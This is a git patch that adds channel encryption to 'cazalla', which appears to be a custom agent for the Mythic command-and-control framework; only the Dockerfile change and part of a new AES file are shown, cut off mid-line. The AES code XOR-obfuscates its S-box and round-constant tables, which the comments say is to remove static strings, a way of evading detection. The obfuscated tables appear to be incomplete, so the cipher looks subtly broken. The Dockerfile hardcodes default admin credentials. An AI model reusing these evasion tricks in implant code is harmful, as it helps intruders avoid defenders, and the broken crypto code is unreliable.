From 798349b3de73fa318a1cf852bd6ebee929254db4 Mon Sep 17 00:00:00 2001 From: "marcos.luna" Date: Wed, 29 Oct 2025 11:20:41 +0100 Subject: [PATCH] channel encryption --- Payload_Type/cazalla/Dockerfile | 13 +- .../cazalla/cazalla/agent_code/cazalla/Aes.c | 636 ++++++++++++++++++ .../cazalla/cazalla/agent_code/cazalla/Aes.h | 91 +++ .../cazalla/agent_code/cazalla/Config.h | 2 + .../cazalla/agent_code/cazalla/Makefile | 5 +- .../cazalla/agent_code/cazalla/cazalla.c | 22 + .../cazalla/agent_code/cazalla/cazalla.h | 1 + .../agent_code/cazalla/cerrarCallback.c | 49 +- .../cazalla/agent_code/cazalla/checkin.c | 5 +- .../cazalla/agent_code/cazalla/comandos.c | 125 +++- .../cazalla/agent_code/cazalla/consola.c | 4 + .../cazalla/agent_code/cazalla/crypto.c | 558 +++++++++++++++ .../cazalla/agent_code/cazalla/crypto.h | 22 + .../cazalla/agent_code/cazalla/hmac_sha256.c | 104 +++ .../cazalla/agent_code/cazalla/hmac_sha256.h | 36 + .../cazalla/cazalla/agent_code/cazalla/main.c | 4 + .../cazalla/agent_code/cazalla/paquete.c | 442 +++++++++++- .../cazalla/agent_code/cazalla/sha256.c | 267 ++++++++ .../cazalla/agent_code/cazalla/sha256.h | 82 +++ .../cazalla/agent_code/cazalla/transporte.c | 119 ++-- .../cazalla/agent_code/cazalla/utils.c | 58 +- .../cazalla/agent_functions/builder.py | 206 +++++- .../cazalla/cazalla/agent_functions/exit.py | 14 +- Payload_Type/cazalla/requirements.txt | 5 +- .../cazalla/translator/commands_from_c2.py | 29 +- .../translator/commands_from_implant.py | 14 +- Payload_Type/cazalla/translator/translator.py | 204 +++++- 27 files changed, 2910 insertions(+), 207 deletions(-) create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/Aes.c create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/Aes.h create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/crypto.c create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/crypto.h create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/hmac_sha256.c create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/hmac_sha256.h create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/sha256.c create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/sha256.h diff --git a/Payload_Type/cazalla/Dockerfile b/Payload_Type/cazalla/Dockerfile index 8372233..ddf59fe 100644 --- a/Payload_Type/cazalla/Dockerfile +++ b/Payload_Type/cazalla/Dockerfile @@ -1,4 +1,4 @@ -FROM python:3.11 +FROM itsafeaturemythic/mythic_python_base:latest # --- ARGs que Mythic usa al construir payloads (mantenerlos) --- ARG CA_CERTIFICATE @@ -21,21 +21,20 @@ RUN apt-get update && \ liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm && \ rm -rf /var/lib/apt/lists/* -# --- Actualiza pip / setuptools / wheel --- +# --- Reconfirma pip y setuptools actualizados (ya viene, pero por si acaso) --- RUN python -m pip install --upgrade pip setuptools wheel -# --- Instala el paquete base de Mythic y dependencias del payload --- +# --- Instala tus dependencias (sin reinstalar mythic-container) --- COPY requirements.txt / -RUN pip install --no-cache-dir -r /requirements.txt \ - && pip install --no-cache-dir mythic-container +RUN pip install --no-cache-dir --no-deps -r /requirements.txt -# --- Variables de entorno necesarias para comunicación con el core Mythic --- +# --- Variables de entorno necesarias para comunicación con Mythic Core --- ENV MYTHIC_SERVER_HOST="mythic_server" ENV MYTHIC_SERVER_PORT="17443" ENV MYTHIC_SERVER_USERNAME="mythic_admin" ENV MYTHIC_SERVER_PASSWORD="mythic_password" -# --- Copia el código del payload --- +# --- Copia tu código de translator --- WORKDIR /Mythic/ COPY ./ /Mythic/cazalla/ diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Aes.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Aes.c new file mode 100644 index 0000000..b525caa --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Aes.c @@ -0,0 +1,636 @@ +/* + +This is an implementation of the AES algorithm, specifically ECB, CTR and CBC mode. +Block size can be chosen in aes.h - available choices are AES128, AES192, AES256. + +The implementation is verified against the test vectors in: + National Institute of Standards and Technology Special Publication 800-38A 2001 ED + +ECB-AES128 +---------- + + plain-text: + 6bc1bee22e409f96e93d7e117393172a + ae2d8a571e03ac9c9eb76fac45af8e51 + 30c81c46a35ce411e5fbc1191a0a52ef + f69f2445df4f9b17ad2b417be66c3710 + + key: + 2b7e151628aed2a6abf7158809cf4f3c + + resulting cipher + 3ad77bb40d7a3660a89ecaf32466ef97 + f5d3d58503b9699de785895a96fdbaaf + 43b1cd7f598ece23881b00e3ed030688 + 7b0c785e27e8ad3f8223207104725dd4 + + +NOTE: String length must be evenly divisible by 16byte (str_len % 16 == 0) + You should pad the end of the string with zeros if this is not the case. + For AES192/256 the key size is proportionally larger. + +*/ + + +/*****************************************************************************/ +/* Includes: */ +/*****************************************************************************/ +#include // CBC mode, for memset +#include "Aes.h" + +/*****************************************************************************/ +/* Defines: */ +/*****************************************************************************/ +// The number of columns comprising a state in AES. This is a constant in AES. Value=4 +#define Nb 4 + +#if defined(AES256) && (AES256 == 1) + #define Nk 8 + #define Nr 14 +#elif defined(AES192) && (AES192 == 1) + #define Nk 6 + #define Nr 12 +#else + #define Nk 4 // The number of 32 bit words in a key. + #define Nr 10 // The number of rounds in AES Cipher. +#endif + +// jcallan@github points out that declaring Multiply as a function +// reduces code size considerably with the Keil ARM compiler. +// See this link for more information: https://github.com/kokke/tiny-AES-C/pull/3 +#ifndef MULTIPLY_AS_A_FUNCTION + #define MULTIPLY_AS_A_FUNCTION 0 +#endif + + + + +/*****************************************************************************/ +/* Private variables: */ +/*****************************************************************************/ +// state - array holding the intermediate results during decryption. +typedef uint8_t state_t[4][4]; + + + +// The lookup-tables are marked const so they can be placed in read-only storage instead of RAM +// The numbers below can be computed dynamically trading ROM for RAM - +// This can be useful in (embedded) bootloader applications, where ROM is often limited. +//static const uint8_t sbox[256] = { +// //0 1 2 3 4 5 6 7 8 9 A B C D E F +// 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, +// 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, +// 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, +// 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, +// 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, +// 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, +// 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, +// 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, +// 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, +// 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, +// 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, +// 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, +// 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, +// 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, +// 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, +// 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 }; // original + +// custom sbox value XORed by ^ 0x55 +static const uint8_t sbox[256] = { + //0 1 2 3 4 5 6 7 8 9 A B C D E F + 0x36,0x29,0x22,0x2e,0xa7,0x3e,0x3a,0x90,0x65,0x54,0x32,0x7e,0xab,0x82,0xfe,0x23,0x9f,0xd7,0x9c, + 0x28,0xaf,0x0c,0x12,0xa5,0xf8,0x81,0xf7,0xfa,0xc9,0xf1,0x27,0x95,0xe2,0xa8,0xc6,0x73,0x63,0x6a, + 0xa2,0x99,0x61,0xf0,0xb0,0xa4,0x24,0x8d,0x64,0x40,0x51,0x92,0x76,0x96,0x4d,0xc3,0x50,0xcf,0x52, + 0x47,0xd5,0xb7,0xbe,0x72,0xe7,0x20,0x5c,0xd6,0x79,0x4f,0x4e,0x3b,0x0f,0xf5,0x07,0x6e,0x83,0xe6, + 0x7c,0xb6,0x7a,0xd1,0x06,0x84,0x55,0xb8,0x75,0xa9,0xe4,0x0e,0x3f,0x9e,0xeb,0x6c,0x1f,0x19,0x0d, + 0x9a,0x85,0xba,0xff,0xae,0x16,0x18,0x66,0xd0,0x10,0xac,0x57,0x2a,0x05,0x69,0xca,0xfd,0x04,0xf6, + 0x15,0xda,0xc7,0xc8,0x6d,0xa0,0xe9,0xe3,0x8f,0x74,0x45,0xaa,0xa6,0x87,0x98,0x59,0x46,0xb9,0x0a, + 0xc2,0x11,0x42,0x91,0xf2,0x2b,0x68,0x31,0x08,0x4c,0x26,0x35,0xd4,0x1a,0x89,0x77,0x7f,0xc5,0xdd, + 0x13,0xbb,0xed,0x41,0x8b,0x0b,0x5e,0x8e,0xb5,0x67,0x6f,0x5f,0x1c,0x53,0x71,0x09,0x97,0x86,0xf9, + 0x37,0xc4,0xc0,0xb1,0x2c,0xb2,0x9d,0x62,0x38,0xd8,0x80,0x1b,0xfc,0x39,0x03,0xa1,0xbf,0x30,0x2f, + 0xfb,0x5d,0xef,0x2d,0x70,0x7b,0x49,0xf3,0xe1,0x93,0xbd,0x88,0x21,0x4a,0x1e,0xe8,0xde,0xdf,0x25, + 0x6b,0xe0,0x33,0x1d,0x56,0xa3,0x5b,0x34,0x60,0x02,0xec,0xd3,0x94,0x48,0xcb,0xb4,0xad,0xcd,0x44, + 0x3c,0x8c,0xdb,0xc1,0xce,0x4b,0xd2,0xbc,0x9b,0x00,0x7d,0x8a,0xd9,0xf4,0xdc,0x58,0xea,0xb3,0x17, + 0x3d,0x14,0xcc,0x78,0x5a,0xe5,0x01,0xee,0x43 }; + + +#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1) +//static const uint8_t rsbox[256] = { +// 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, +// 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, +// 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, +// 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, +// 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, +// 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, +// 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, +// 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, +// 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, +// 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, +// 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, +// 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, +// 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, +// 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, +// 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, +// 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d }; + +// custom rsbox value XORed by ^ 0x55 +static const uint8_t rsbox[256] = { + 0x07,0x5c,0x3f,0x80,0x65,0x63,0xf0,0x6d,0xea,0x15,0xf6,0xcb,0xd4,0xa6,0x82,0xae,0x29,0xb6,0x6c, + 0xd7,0xce,0x7a,0xaa,0xd2,0x61,0xdb,0x16,0x11,0x91,0x8b,0xbc,0x9e,0x01,0x2e,0xc1,0x67,0xf3,0x97, + 0x76,0x68,0xbb,0x19,0xc0,0x5e,0x17,0xaf,0x96,0x1b,0x5d,0x7b,0xf4,0x33,0x7d,0x8c,0x71,0xe7,0x23, + 0x0e,0xf7,0x1c,0x38,0xde,0x84,0x70,0x27,0xad,0xa3,0x31,0xd3,0x3d,0xcd,0x43,0x81,0xf1,0x09,0x99, + 0x08,0x30,0xe3,0xc7,0x39,0x25,0x1d,0x05,0xa8,0xb8,0xec,0x8f,0x0b,0x40,0x13,0x02,0xf2,0xd8,0xc8, + 0xd1,0xc5,0x8d,0xfe,0x55,0xd9,0xe9,0x86,0x5f,0xa2,0xb1,0x0d,0x50,0xed,0xe6,0x10,0x53,0x85,0x79, + 0x4b,0xda,0x9f,0x6a,0x5a,0x57,0x94,0xfa,0xe8,0x56,0x54,0x46,0xdf,0x3e,0x6f,0xc4,0x44,0x14,0x1a, + 0x32,0x89,0xbf,0xc2,0xa7,0x9a,0x9b,0xa5,0xe1,0xb3,0x26,0xc3,0xf9,0x21,0x77,0xb2,0xf8,0x60,0xd0, + 0xb7,0xac,0x62,0xbd,0x49,0x20,0x8a,0x3b,0x12,0xa4,0x4f,0x24,0x48,0x7c,0x90,0xdc,0x3a,0xe2,0x37, + 0x5b,0xff,0x4d,0xeb,0x4e,0xa9,0x03,0x6b,0x1e,0x93,0x87,0x2c,0x75,0xcf,0x8e,0x95,0xab,0x2d,0x98, + 0x0f,0xa1,0x4a,0x88,0xfd,0x66,0xdd,0x52,0x92,0x64,0xe4,0x47,0x45,0x0c,0x72,0xd5,0xb9,0x0a,0x35, + 0x04,0x2a,0xfc,0x4c,0xe0,0x1f,0x58,0x78,0xb0,0x2f,0xca,0xc6,0x9c,0xc9,0xba,0xf5,0xb5,0x6e,0x18, + 0xfb,0x7f,0xa0,0xe5,0x9d,0xbe,0xee,0x69,0xd6,0x06,0xcc,0x34,0x42,0x7e,0x51,0x2b,0xef,0x22,0x83, + 0x73,0xb4,0x3c,0x41,0x36,0x00,0x74,0x59,0x28 }; + +#endif + +// The round constant word array, Rcon[i], contains the values given by +// x to the power (i-1) being powers of x (x is denoted as {02}) in the field GF(2^8) +//static const uint8_t Rcon[11] = { +// 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36 }; //original line + +static const uint8_t Rcon[11] = { + 0xd8,0x54,0x57,0x51,0x5d,0x45,0x75,0x15,0xd5,0x4e,0x63 }; + +#define getRcon(num) (Rcon[num] ^ 0x55) + +/* + * Jordan Goulder points out in PR #12 (https://github.com/kokke/tiny-AES-C/pull/12), + * that you can remove most of the elements in the Rcon array, because they are unused. + * + * From Wikipedia's article on the Rijndael key schedule @ https://en.wikipedia.org/wiki/Rijndael_key_schedule#Rcon + * + * "Only the first some of these constants are actually used – up to rcon[10] for AES-128 (as 11 round keys are needed), + * up to rcon[8] for AES-192, up to rcon[7] for AES-256. rcon[0] is not used in AES algorithm." + */ + + +/*****************************************************************************/ +/* Private functions: */ +/*****************************************************************************/ +/* +static uint8_t getSBoxValue(uint8_t num) +{ + return sbox[num]; +} +*/ + +// My Added Xor Function +//void XOR(char* data, size_t data_len, char* key, size_t key_len) { +// int j; +// +// j = 0; +// for (int i = 0; i < data_len; i++) { +// if (j == key_len - 1) j = 0; +// +// data[i] = data[i] ^ key[j]; +// j++; +// } +//} + +//Replace with xor to remove static strings +//#define getSBoxValue(num) (sbox[(num)]) // original line +#define origGetSBoxValue(num) (sbox[(num)]) +#define getSBoxValue(num) (origGetSBoxValue(num) ^ 0x55) // Example XOR value + + +// This function produces Nb(Nr+1) round keys. The round keys are used in each round to decrypt the states. +static void KeyExpansion(uint8_t* RoundKey, const uint8_t* Key) +{ + unsigned i, j, k; + uint8_t tempa[4]; // Used for the column/row operations + + // The first round key is the key itself. + for (i = 0; i < Nk; ++i) + { + RoundKey[(i * 4) + 0] = Key[(i * 4) + 0]; + RoundKey[(i * 4) + 1] = Key[(i * 4) + 1]; + RoundKey[(i * 4) + 2] = Key[(i * 4) + 2]; + RoundKey[(i * 4) + 3] = Key[(i * 4) + 3]; + } + + // All other round keys are found from the previous round keys. + for (i = Nk; i < Nb * (Nr + 1); ++i) + { + { + k = (i - 1) * 4; + tempa[0]=RoundKey[k + 0]; + tempa[1]=RoundKey[k + 1]; + tempa[2]=RoundKey[k + 2]; + tempa[3]=RoundKey[k + 3]; + + } + + if (i % Nk == 0) + { + // This function shifts the 4 bytes in a word to the left once. + // [a0,a1,a2,a3] becomes [a1,a2,a3,a0] + + // Function RotWord() + { + const uint8_t u8tmp = tempa[0]; + tempa[0] = tempa[1]; + tempa[1] = tempa[2]; + tempa[2] = tempa[3]; + tempa[3] = u8tmp; + } + + // SubWord() is a function that takes a four-byte input word and + // applies the S-box to each of the four bytes to produce an output word. + + // Function Subword() + { + tempa[0] = getSBoxValue(tempa[0]); + tempa[1] = getSBoxValue(tempa[1]); + tempa[2] = getSBoxValue(tempa[2]); + tempa[3] = getSBoxValue(tempa[3]); + } + + tempa[0] = tempa[0] ^ getRcon(i/Nk); + } +#if defined(AES256) && (AES256 == 1) + if (i % Nk == 4) + { + // Function Subword() + { + tempa[0] = getSBoxValue(tempa[0]); + tempa[1] = getSBoxValue(tempa[1]); + tempa[2] = getSBoxValue(tempa[2]); + tempa[3] = getSBoxValue(tempa[3]); + } + } +#endif + j = i * 4; k=(i - Nk) * 4; + RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0]; + RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1]; + RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2]; + RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3]; + } +} + +void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key) +{ + KeyExpansion(ctx->RoundKey, key); +} +#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1)) +void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv) +{ + KeyExpansion(ctx->RoundKey, key); + memcpy (ctx->Iv, iv, AES_BLOCKLEN); +} +void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv) +{ + memcpy (ctx->Iv, iv, AES_BLOCKLEN); +} +#endif + +// This function adds the round key to state. +// The round key is added to the state by an XOR function. +static void AddRoundKey(uint8_t round, state_t* state, const uint8_t* RoundKey) +{ + uint8_t i,j; + for (i = 0; i < 4; ++i) + { + for (j = 0; j < 4; ++j) + { + (*state)[i][j] ^= RoundKey[(round * Nb * 4) + (i * Nb) + j]; + } + } +} + +// The SubBytes Function Substitutes the values in the +// state matrix with values in an S-box. +static void SubBytes(state_t* state) +{ + uint8_t i, j; + for (i = 0; i < 4; ++i) + { + for (j = 0; j < 4; ++j) + { + (*state)[j][i] = getSBoxValue((*state)[j][i]); + } + } +} + +// The ShiftRows() function shifts the rows in the state to the left. +// Each row is shifted with different offset. +// Offset = Row number. So the first row is not shifted. +static void ShiftRows(state_t* state) +{ + uint8_t temp; + + // Rotate first row 1 columns to left + temp = (*state)[0][1]; + (*state)[0][1] = (*state)[1][1]; + (*state)[1][1] = (*state)[2][1]; + (*state)[2][1] = (*state)[3][1]; + (*state)[3][1] = temp; + + // Rotate second row 2 columns to left + temp = (*state)[0][2]; + (*state)[0][2] = (*state)[2][2]; + (*state)[2][2] = temp; + + temp = (*state)[1][2]; + (*state)[1][2] = (*state)[3][2]; + (*state)[3][2] = temp; + + // Rotate third row 3 columns to left + temp = (*state)[0][3]; + (*state)[0][3] = (*state)[3][3]; + (*state)[3][3] = (*state)[2][3]; + (*state)[2][3] = (*state)[1][3]; + (*state)[1][3] = temp; +} + +static uint8_t xtime(uint8_t x) +{ + return ((x<<1) ^ (((x>>7) & 1) * 0x1b)); +} + +// MixColumns function mixes the columns of the state matrix +static void MixColumns(state_t* state) +{ + uint8_t i; + uint8_t Tmp, Tm, t; + for (i = 0; i < 4; ++i) + { + t = (*state)[i][0]; + Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3] ; + Tm = (*state)[i][0] ^ (*state)[i][1] ; Tm = xtime(Tm); (*state)[i][0] ^= Tm ^ Tmp ; + Tm = (*state)[i][1] ^ (*state)[i][2] ; Tm = xtime(Tm); (*state)[i][1] ^= Tm ^ Tmp ; + Tm = (*state)[i][2] ^ (*state)[i][3] ; Tm = xtime(Tm); (*state)[i][2] ^= Tm ^ Tmp ; + Tm = (*state)[i][3] ^ t ; Tm = xtime(Tm); (*state)[i][3] ^= Tm ^ Tmp ; + } +} + +// Multiply is used to multiply numbers in the field GF(2^8) +// Note: The last call to xtime() is unneeded, but often ends up generating a smaller binary +// The compiler seems to be able to vectorize the operation better this way. +// See https://github.com/kokke/tiny-AES-c/pull/34 +#if MULTIPLY_AS_A_FUNCTION +static uint8_t Multiply(uint8_t x, uint8_t y) +{ + return (((y & 1) * x) ^ + ((y>>1 & 1) * xtime(x)) ^ + ((y>>2 & 1) * xtime(xtime(x))) ^ + ((y>>3 & 1) * xtime(xtime(xtime(x)))) ^ + ((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))); /* this last call to xtime() can be omitted */ + } +#else +#define Multiply(x, y) \ + ( ((y & 1) * x) ^ \ + ((y>>1 & 1) * xtime(x)) ^ \ + ((y>>2 & 1) * xtime(xtime(x))) ^ \ + ((y>>3 & 1) * xtime(xtime(xtime(x)))) ^ \ + ((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))) \ + +#endif + +#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1) +/* +static uint8_t getSBoxInvert(uint8_t num) +{ + return rsbox[num]; +} +*/ + +//Replace with xor to remove static strings +//#define getSBoxInvert(num) (rsbox[(num)]) // original line +#define origGetSBoxInvert(num) (rsbox[(num)]) +#define getSBoxInvert(num) (origGetSBoxInvert(num) ^ 0x55) + +// MixColumns function mixes the columns of the state matrix. +// The method used to multiply may be difficult to understand for the inexperienced. +// Please use the references to gain more information. +static void InvMixColumns(state_t* state) +{ + int i; + uint8_t a, b, c, d; + for (i = 0; i < 4; ++i) + { + a = (*state)[i][0]; + b = (*state)[i][1]; + c = (*state)[i][2]; + d = (*state)[i][3]; + + (*state)[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09); + (*state)[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d); + (*state)[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b); + (*state)[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e); + } +} + + +// The SubBytes Function Substitutes the values in the +// state matrix with values in an S-box. +static void InvSubBytes(state_t* state) +{ + uint8_t i, j; + for (i = 0; i < 4; ++i) + { + for (j = 0; j < 4; ++j) + { + (*state)[j][i] = getSBoxInvert((*state)[j][i]); + } + } +} + +static void InvShiftRows(state_t* state) +{ + uint8_t temp; + + // Rotate first row 1 columns to right + temp = (*state)[3][1]; + (*state)[3][1] = (*state)[2][1]; + (*state)[2][1] = (*state)[1][1]; + (*state)[1][1] = (*state)[0][1]; + (*state)[0][1] = temp; + + // Rotate second row 2 columns to right + temp = (*state)[0][2]; + (*state)[0][2] = (*state)[2][2]; + (*state)[2][2] = temp; + + temp = (*state)[1][2]; + (*state)[1][2] = (*state)[3][2]; + (*state)[3][2] = temp; + + // Rotate third row 3 columns to right + temp = (*state)[0][3]; + (*state)[0][3] = (*state)[1][3]; + (*state)[1][3] = (*state)[2][3]; + (*state)[2][3] = (*state)[3][3]; + (*state)[3][3] = temp; +} +#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1) + +// Cipher is the main function that encrypts the PlainText. +static void Cipher(state_t* state, const uint8_t* RoundKey) +{ + uint8_t round = 0; + + // Add the First round key to the state before starting the rounds. + AddRoundKey(0, state, RoundKey); + + // There will be Nr rounds. + // The first Nr-1 rounds are identical. + // These Nr rounds are executed in the loop below. + // Last one without MixColumns() + for (round = 1; ; ++round) + { + SubBytes(state); + ShiftRows(state); + if (round == Nr) { + break; + } + MixColumns(state); + AddRoundKey(round, state, RoundKey); + } + // Add round key to last round + AddRoundKey(Nr, state, RoundKey); +} + +#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1) +static void InvCipher(state_t* state, const uint8_t* RoundKey) +{ + uint8_t round = 0; + + // Add the First round key to the state before starting the rounds. + AddRoundKey(Nr, state, RoundKey); + + // There will be Nr rounds. + // The first Nr-1 rounds are identical. + // These Nr rounds are executed in the loop below. + // Last one without InvMixColumn() + for (round = (Nr - 1); ; --round) + { + InvShiftRows(state); + InvSubBytes(state); + AddRoundKey(round, state, RoundKey); + if (round == 0) { + break; + } + InvMixColumns(state); + } + +} +#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1) + +/*****************************************************************************/ +/* Public functions: */ +/*****************************************************************************/ +#if defined(ECB) && (ECB == 1) + + +void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf) +{ + // The next function call encrypts the PlainText with the Key using AES algorithm. + Cipher((state_t*)buf, ctx->RoundKey); +} + +void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf) +{ + // The next function call decrypts the PlainText with the Key using AES algorithm. + InvCipher((state_t*)buf, ctx->RoundKey); +} + + +#endif // #if defined(ECB) && (ECB == 1) + + + + + +#if defined(CBC) && (CBC == 1) + + +static void XorWithIv(uint8_t* buf, const uint8_t* Iv) +{ + uint8_t i; + for (i = 0; i < AES_BLOCKLEN; ++i) // The block in AES is always 128bit no matter the key size + { + buf[i] ^= Iv[i]; + } +} + +void AES_CBC_encrypt_buffer(struct AES_ctx *ctx, uint8_t* buf, size_t length) +{ + size_t i; + uint8_t *Iv = ctx->Iv; + for (i = 0; i < length; i += AES_BLOCKLEN) + { + XorWithIv(buf, Iv); + Cipher((state_t*)buf, ctx->RoundKey); + Iv = buf; + buf += AES_BLOCKLEN; + } + /* store Iv in ctx for next call */ + memcpy(ctx->Iv, Iv, AES_BLOCKLEN); +} + +void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length) +{ + size_t i; + uint8_t storeNextIv[AES_BLOCKLEN]; + for (i = 0; i < length; i += AES_BLOCKLEN) + { + memcpy(storeNextIv, buf, AES_BLOCKLEN); + InvCipher((state_t*)buf, ctx->RoundKey); + XorWithIv(buf, ctx->Iv); + memcpy(ctx->Iv, storeNextIv, AES_BLOCKLEN); + buf += AES_BLOCKLEN; + } + +} + +#endif // #if 